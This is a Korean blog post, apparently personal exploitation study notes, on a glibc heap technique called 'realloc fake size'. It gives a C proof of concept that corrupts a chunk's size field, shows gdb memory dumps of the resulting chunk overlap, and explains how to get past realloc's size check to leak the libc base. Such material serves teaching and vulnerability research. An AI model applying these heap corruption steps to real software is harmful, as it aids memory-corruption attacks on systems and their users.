realloc fake size
```c
int main(){
char *a = malloc(0x8);
char *b = malloc(0x8);
char *c = malloc(0x40);
char *topguard = malloc(0x8);
// modify b.size
*(b-0x4) = 0x59;
realloc(b, 0x8);
return 0;
}
```
trigger & overlap
chunk `` a``에서 off-by-one overflow가 발생해 `` b.size``를 수정할 수 있는 상황이라면 이를 이용해 chunk overlap할 수 있으며, 이는 `` b`` chunk의 overflow, libc_base leak으로 연계할 수 있다.
```bash
gdb-peda$ x/32wx 0x56558000
0x56558000: 0x00000000 0x00000011 0x00000000 0x00000000 // chunk a
0x56558010: 0x00000000 0x00000011 0x00000000 0x00000000 // chunk b
0x56558020: 0x00000000 0x00000049 0x00000000 0x00000000 // chunk c
0x56558030: 0x00000000 0x00000000 0x00000000 0x00000000
```
[realloc] invalid next size는 off-by-one overflow로 `` b.size``를 수정할 때만 고려해주면 된다. 이후에는 별다른 체크가 없다.
체크를 피하기 위해 `` next_chunk.size``가 위치한 곳으로 맞춰주는 것이 좋으나, 여의치 않으면 그냥 chunk `` c``에 fake size를 하나 만들어도 된다.
```bash
gdb-peda$ x/32wx 0x56558000
0x56558000: 0x00000000 0x00000011 0x00000000 0x00000000
0x56558010: 0x00000000 0x00000059 0x00000000 0x00000000
0x56558020: 0x00000000 0x00000049 0x00000000 0x00000000
0x56558030: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558040: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558050: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558060: 0x00000000 0x00000000 0x00000000 0x00000011
```
overflow
Note ) ``c realloc(b, size)``에 어떤 size를 넣든, [realloc] invalid next size 안걸린다. ( 사실 생각해보면 걸리면 안된다. )
shrink → get libc_base → leak
``c realloc(b, 0x8)``하는 경우 : shrink를 유발해 get libc_base → leak
```bash
gdb-peda$ x/32wx 0x56558000
0x56558000: 0x00000000 0x00000011 0x00000000 0x00000000
0x56558010: 0x00000000 0x00000011 0x00000000 0x00000000
0x56558020: 0x00000000 0x00000049 0xf7fad7b0 0xf7fad7b0
0x56558030: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558040: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558050: 0x00000000 0x00000000 0x00000000 0x00000000
0x56558060: 0x00000000 0x00000000 0x00000048 0x00000010
```
'Security > System Exploit' 카테고리의 다른 글
Empire (0) | 2018.11.03 |
---|---|
Return to VDSO using ELF Auxiliary Vectors leck (0) | 2017.09.02 |
SROP (0) | 2017.08.17 |
The House of Einherjar (0) | 2017.08.16 |
The House of Force (0) | 2017.08.15 |